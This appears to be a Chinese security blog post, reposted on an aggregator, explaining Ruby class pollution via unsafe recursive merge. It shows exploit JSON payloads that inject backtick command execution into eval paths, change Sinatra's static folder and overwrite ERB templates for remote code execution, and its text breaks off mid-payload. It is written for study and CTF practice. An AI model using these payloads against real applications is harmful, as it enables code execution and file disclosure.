浅析Ruby类污染及其在Sinatra框架下的利用

news2025/3/16 5:03:34

和JavaScript中的原型链污染类似,Ruby中也存在类似的概念——类污染,两者都是对象进行不安全的递归合并导致的。

网上也没有相关的分析文章,只有下面这篇文章应该是第一次谈到这个问题

Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges · Doyensec's Blog

刚打完的长城杯,ezruby一题应该就是基于这篇文章的进一步利用。

Ruby类介绍

在Ruby中也是万物皆对象,下面定义一个Person类

class Person
  @@cnt = 1

  # 定义属性
  attr_accessor :name, :age

  # 初始化方法
  def initialize(name, age)
    @name = name
    @age = age
  end

  # 定义方法
  def greet
    "My name is #{@name} and I am #{@age} years old."
  end
end

person = Person.new("Alice", 30)
puts person.greet

类变量(类似Java中类的静态变量)使用 @@前缀,实例变量使用@前缀,在类内部才用这种前缀来访问。

冒号前缀表示符号(Symbol)。Ruby中符号是轻量级的、不可变的字符串,通常用于表示标识符、方法名或键。符号的优点是它们在内存中只存储一次,因此在需要频繁比较或使用相同字符串的情况下,使用符号可以提高性能。

Ruby对象的一些特殊的方法:

  • attr_accessor:定义实例变量的getter和setter方法,用于在类外部访问实例变量
  • initialize:类的构造方法
  • to_s:toString方法
  • inspect:和to_s差不多,常用于debug
  • method_missing:类似PHP的__call__方法,当调用一个不存在的方法时会触发
  • respond_to?:检测对象是否有某个方法或属性
  • send:根据方法名来调用(包括私有方法)
  • public_send:根据方法名调用公开方法

Ruby对象的一些特殊的属性(类也算对象)

  • class:当前对象的类
  • superclass:父类
  • subclasses:子类数组
  • instance_variables:实例变量名的数组
  • class_variables:类变量名的数组

当然不止这些,具体就不展开了。

在 Ruby 中,所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类,所有其他类都直接或间接地继承自它。

class MyClass
end

puts MyClass.superclass          # Output: Object
puts Object.superclass           # Output: BasicObject
puts BasicObject.superclass      # Output: nil

在实际污染中,用到的就是classsuperclasssubclasses,先从当前对象找到当前类,回溯到父类Object,锁定要污染的变量所在的类,在从父类一层层找子类。

不安全的递归合并

Doyensec的文章中给出下面的merge函数,也介绍了两个实际案例,分别是Ruby on Rails的内置组件ActiveSupport提供的`deep_merge,以及Hashie库提供的deep_merge,感兴趣可以看原文。

def recursive_merge(original, additional, current_obj = original)
  additional.each do |key, value|
    if value.is_a?(Hash)
      if current_obj.respond_to?(key)
        next_obj = current_obj.public_send(key)
        recursive_merge(original, value, next_obj)
      else
        new_object = Object.new
        current_obj.instance_variable_set("@#{key}", new_object)
        current_obj.singleton_class.attr_accessor key
      end
    else
      current_obj.instance_variable_set("@#{key}", value)
      current_obj.singleton_class.attr_accessor key
    end
  end
  original
end

recursive_merge用于递归地合并两个对象originaladditional

  1. 遍历additional对象中的每个键值对。
  2. 处理嵌套的哈希:如果值是一个哈希,它会检查 current_obj(初始为 original)是否响应该键。如果响应,则递归合并嵌套的哈希。如果不响应,则创建一个新对象,将其设置为实例变量,并为其创建访问器。
  3. 处理非哈希值:如果值不是哈希,则直接在 current_obj 上设置该值为实例变量,并为其创建访问器。

下面举个例子

污染当前对象

class A

  attr_accessor :x

  def initialize(x)
    @x = x
  end

  def merge_with(additional)
    recursive_merge(self, additional)
  end

  def check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end
end

若能污染protected_methods,其返回值就能传入instance_eval进行代码执行。

a = A.new(1)
a.merge_with({
               "protected_methods": ["`calc`"]
             })
a.check

当然这种污染的是当前的对象的属性,不影响父类以及其他实例对象。

污染父类

class Base
  @@cmd = "puts 1"
end

class Cmder < Base

  def merge_with(additional)
    recursive_merge(self, additional)
  end

  def check
    eval(Base.cmd)
    # eval(@@cmd)  污染失败
    "ok"
  end
end

对于这种情况,可以污染父类的cmd变量,但这里实际上是给父类Base增加了一个实例变量@cmd,从而通过Base.cmd访问时,实例变量@cmd遮盖了类变量@@cmd

c = Cmder.new
c.merge_with({
               "class": {
                 "superclass": {
                   "cmd": "`calc`"
                 }
               }
             })
c.check
puts Base.class_variables  # @@cmd
puts Base.instance_variables  # @cmd

污染其他类

class Cmder
  @@cmd = "puts 1"

  def check
    eval(Cmder.cmd)
  end
end

class Innocent
  def merge_with(additional)
    recursive_merge(self, additional)
  end
end

能否通过Innocent污染到Cmder呢?

subclasses可以获取到Object的子类,但返回的是数组,可以利用数组的sample方法,随机返回一个元素

通过多次污染,总有几率污染到Cmder这个子类

1000.times do
  i = Innocent.new
  i.merge_with({
                 "class": {
                   "superclass": {
                     "subclasses": {
                       "sample": {
                         "cmd": "`calc`"
                       }
                     }
                   }
                 }
               })
end

c = Cmder.new
c.check

Doyensec的文章中提到了污染Personurl变量来进行SSRF,以及污染KeySignersigning_key变量来实现伪造签名数据。但我们追求的是通过类污染来实现RCE。

注意文章中给出的情景,使用的是Sinatra这个web框架,能否污染框架中的关键变量来实现RCE或者文件读取之类的操作呢。

类污染设置静态目录

Sinatra框架中是通过如下配置来设置静态目录的

set :public_folder, File.dirname(__FILE__) + '/static'

跟进set方法可以发现他实际就是给Sinatra::Base设置了一个属性的getter、setter

class_eval给类动态定义方法

因此可以污染public_folder这个属性来修改静态目录

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "E:/Server"}}}}}}

类污染写ERB模板

调试可知Sinatra::Base有个templates属性,类型是哈希,猜测他是存放模板的

Sinatra 默认模板位于./views目录,也支持通过如下语句定义模板

template :index do
  '%div.title Hello World!'
end

可以看到template方法实际就是给templates这个属性赋值(block是个代码块,需要返回模板内容的字符串)

有如下渲染模板的路由

get('/') do
    erb :hello
end

ERB (Embedded Ruby) 是 Ruby 标准库自带的,它允许在文本文件中嵌入 Ruby 代码,通常用于生成 HTML 文件,就是一个模板引擎。

可以污染templates属性,覆盖hello模板,通过ERB模板实现RCE

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `ca

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2295769.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【NLP251】Transformer API调用

1. nn.Transformer nn.Transformer封装了Transformer中的包含编码器&#xff08;Encoder&#xff09;和解码器&#xff08;Decoder&#xff09;。如下图所示&#xff0c;它对Encoder和Decoder两部分的包装&#xff0c;它并没有实现输入中的Embedding和Positional Encoding和最…

idea 如何使用deepseek 保姆级教程

1.安装idea插件codegpt 2.注册deepseek并生成apikey deepseek 开发平台&#xff1a; DeepSeek​​​​​​​ 3.在idea进行codegpt配置 打开idea的File->Settings->Tools->CodeGPT->Providers->Custom OpenAI Chat Completions的URL填写 https://api.deepseek…

python实现情绪识别模块,并将模块封装成可执行文件

目录&#xff1a; 1.源码&#xff1a;2.情绪识别模型运行流程&#xff1a;3.模型封装需要注意的地方&#xff1a;4.未解决问题&#xff1a; 1.源码&#xff1a; https://gitcode.com/xyint/deep_learning.git 2.情绪识别模型运行流程&#xff1a; 需要获取用户摄像头权限&…

AH比价格策略源代码

用python 获取在A股和香港上市的公司和在A股和香港上市的公司股票代码和名称并且选出港股和A股涨幅相差比较大的股票 import akshare as akdef get_ah_stocks():# 获取A股股票列表a_stock_list ak.stock_zh_a_spot_em()print(a_stock_list)a_stock_list a_stock_list[[&quo…

群晖安装Gitea

安装Docker Docker运行Gitea 上传gitea包&#xff0c;下载地址&#xff1a;https://download.csdn.net/download/hmxm6/90360455 打开docker 点击印象&#xff0c;点击新增&#xff0c;从文件添加 点击启动 可根据情况&#xff0c;进行高级设置&#xff0c;没有就下一步 点击应…

LabVIEW商业软件开发

在商业软件开发和仪器自动测试领域&#xff0c;LabVIEW以其图形化编程方式、高效的数据采集能力和强大的硬件集成优势&#xff0c;成为众多工程项目的核心开发工具。然而&#xff0c;商业软件的开发远不止编写代码和实现功能那么简单&#xff0c;尤其是在仪器自动测试领域&…

内容中台赋能人工智能技术提升业务创新能力

内容概要 在当今快速变化的市场环境中&#xff0c;企业需要不断寻求创新以保持竞争力。内容中台作为一种新型的内容管理架构&#xff0c;能够极大地提升企业在内容创建、管理和分发方面的效率。通过与人工智能技术的深度融合&#xff0c;企业能够将海量的数据和信息转化为有价…

生成式聊天机器人 -- 基于Pytorch + Global Attention + 双向 GRU 实现的SeqToSeq模型 -- 下

生成式聊天机器人 -- 基于Pytorch Global Attention 双向 GRU 实现的SeqToSeq模型 -- 下 训练Masked 损失单次训练过程迭代训练过程 测试贪心解码(Greedy decoding)算法实现对话函数 训练和测试模型完整代码 生成式聊天机器人 – 基于Pytorch Global Attention 双向 GRU 实…

Netty初学九 心跳与空闲检测

一、网络问题 1.连接假死&#xff1a; 连接假死的现象是&#xff1a;在某一端看来&#xff0c;底层的Tcp连接已经断开&#xff0c;但是应用程序没有捕获到&#xff0c;会认为这条连接仍然是存在的。从TCP层面来说&#xff0c;只有收到四次握手数据包或者一个RST数据包才可以表示…

数据分析如何做EDA

探索性数据分析&#xff08;EDA&#xff0c;Exploratory Data Analysis&#xff09;是数据分析过程中至关重要的一步&#xff0c;其目的是通过统计和可视化技术对数据进行初步分析&#xff0c;从而揭示数据的潜在模式、特征和异常值&#xff0c;并为后续的数据预处理、特征工程…

AD域控粗略了解

一、前提 转眼大四&#xff0c;目前已入职上饶一公司从事运维工程师&#xff0c;这与我之前干的开发有着很大的差异&#xff0c;也学习到了许多新的知识。今天就写下我对于运维工作中常用的功能——域控的理解。 二、为什么要有域控&#xff0c;即域控的作用 首先我们必须要…

【计算机网络】TCP/IP 网络模型有哪几层?

目录 应用层 传输层 网络层 网络接口层 总结 为什么要有 TCP/IP 网络模型&#xff1f; 对于同一台设备上的进程间通信&#xff0c;有很多种方式&#xff0c;比如有管道、消息队列、共享内存、信号等方式&#xff0c;而对于不同设备上的进程间通信&#xff0c;就需要网络通…

【Flink实战】Flink -C实现类路径配置与实现UDF Jar

文章目录 1. 描述2. 使用语法3. -C 适用的 Flink 运行模式4. USING JAR 不可用 1. 描述 Flink 中的 -C 选项用于将 URL 添加到作业的类加载器中。URL可以指向本地、HTTP 服务器或 HDFS 等资源的Jar文件。 注意&#xff1a; 此处的classpath的url必须是一个能够在client&…

【东莞常平】戴尔R710服务器不开机维修分享

1&#xff1a;2025-02-06一位老客户的朋友刚开工公司ERP服务器一台戴尔老服务器故障无法开机&#xff0c;于是经老客户介绍找到我们。 2&#xff1a;服务器型号是DELL PowerEdge R710 这个服务器至少也有15年以上的使用年限了。 3&#xff1a;客户反馈的故障问题为&#xff1a;…

STM32自学记录(八)

STM32自学记录 文章目录 STM32自学记录前言一、ADC杂记二、实验1.学习视频2.复现代码 总结 前言 ADC 一、ADC杂记 ADC其实就是一个电压表&#xff0c;把引脚的电压值测出来&#xff0c;放在一个变量里。 ADC&#xff1a;模拟——数字转换器。 ADC可以将引脚上连续变化的模拟电…

Citespace之关键词爆发检测分析(进阶分析)

在开始citespace进行关键词爆发检测分析之前&#xff0c;如果不会使用citespace的&#xff0c;可以参考我之前这一篇博客&#xff1a; https://blog.csdn.net/m0_56184997/article/details/145536095?spm1001.2014.3001.5501 一、创建工程后进行设置 在创建好工程后&#xf…

解锁 DeepSeek 模型高效部署密码:蓝耘平台深度剖析与实战应用

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…

NIO——网络编程

文章目录 非阻塞 vs 阻塞阻塞非阻塞多路复用 Selector好处创建绑定 Channel 事件监听 Channel 事件select 何时不阻塞 &#x1f4a1;处理 accept 事件事件发生后能否不处理&#x1f4a1; 处理 read 事件为何要 iter.remove()&#x1f4a1;cancel 的作用&#x1f4a1;不处理边界…

IDEA关联Tomcat,部署JavaWeb项目

将IDEA与Tomcat关联 创建JavaWeb项目 创建Demo项目 将Tomcat作为依赖引入到Demo中 添加 Web Application 编写前端和后端代码 配置Tomcat server&#xff0c;并运行

ChatGPT搜索免费开放:AI搜索引擎挑战谷歌霸主地位全面分析

引言 2025年2月6日&#xff0c;OpenAI宣布ChatGPT搜索功能向所有用户免费开放&#xff0c;且无需注册登录。这一重大举措在搜索引擎行业引发巨大反响&#xff0c;有观点认为"谷歌搜索时代即将结束"。本文将深入分析ChatGPT生成式AI搜索对谷歌搜索业务及全球搜索市场…